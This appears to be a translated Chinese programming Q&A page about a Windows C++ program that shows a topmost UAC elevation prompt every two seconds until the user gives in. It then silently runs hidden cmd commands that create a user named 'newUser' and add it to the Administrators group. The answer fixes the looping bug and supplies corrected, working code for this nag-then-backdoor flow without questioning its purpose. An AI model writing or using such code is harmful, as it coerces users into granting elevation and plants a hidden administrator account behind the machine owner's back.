具有管理员特权的shellexecute不会结束

时间:2019-11-24 21:32:15

标签: c++ winapi visual-c++

我试图每2秒请求一次管理员特权,但是在同步两个进程时遇到问题。 ShellExecuteExA创建的进程不会结束,除非您手动将其杀死。主进程(主函数)以ExitProcess结尾,现在是正在运行的shellexecute进程,它返回主进程并卡在Ask函数中,并在不应该进入此函数时再次请求提高特权。我正在使用vs2019。

#include <iostream>
#include <Windows.h>
#include <WinUser.h>
#include <string>
#include <sstream>

using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool CheckIfAdmin()
{
    BOOL RunAdmin = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation,
                                &Elevation, sizeof(Elevation), &cbSize))
        {
            RunAdmin = Elevation.TokenIsElevated;
        }
    }
    // Cleanup
    if (hToken)
    {
        CloseHandle(hToken);
    }
    return RunAdmin;
}

bool Elevate()
{
    char PathProg[MAX_PATH];
    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    {
        SHELLEXECUTEINFOA SEIA = {sizeof(SEIA)};
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        if (!ShellExecuteExA(&SEIA))
        {
            DWORD dwErr = GetLastError();
            if (dwErr == ERROR_CANCELLED)
            {
                // reject UAC
                return false;
            }
            return false;
        }
        // accept UAC
        return true;
    }
    return false;
}
void execute_cmd(const char *m, INT opt)
{
    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
}

bool run_uac()
{
    if (!CheckIfAdmin())
    {
        if (Elevate())
        {
            return true;
        }
    }
    return false;
}

void ask()
{
    while (true)
    {
        switch (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONERROR | MB_TOPMOST))
        {
        case IDOK:
            if (run_uac())
            {
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            }
        }
        Sleep(2000);
    }
}

int main()
{

    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
    ask();

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);


    return 0;
}

1 个答案:

答案 0 :(得分:3)

如果您在高空运行,则调用ask()会陷入无尽的MessageBox+Sleep循环中,因为run_uac()返回true时CheckIfAdmin()返回false。因此,将海拔检查移至main()本身,如果已经运行过海拔,则跳过海拔提示。

#include <Windows.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool IsElevated()
{
    bool bElevated = false;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);

        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize))
        {
            bElevated = Elevation.TokenIsElevated;
        }

        // Cleanup
        CloseHandle(hToken);
    }

    return bElevated;
}

bool Elevate()
{
    char PathProg[MAX_PATH];

    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    {
        SHELLEXECUTEINFOA SEIA = {sizeof(SEIA)};
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        return ShellExecuteExA(&SEIA);
    }

    return false;
}

void execute_cmd(const char *m, int opt)
{
    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
}

void AskToElevate()
{
    while (true)
    {
        if (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONQUESTION | MB_TOPMOST) == IDOK)
        {
            if (Elevate())
            {
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            }
        }
        Sleep(2000);
    }
}

int main()
{
    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);

    if (!IsElevated())
    {
        AskToElevate();
    }

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);

    return 0;
}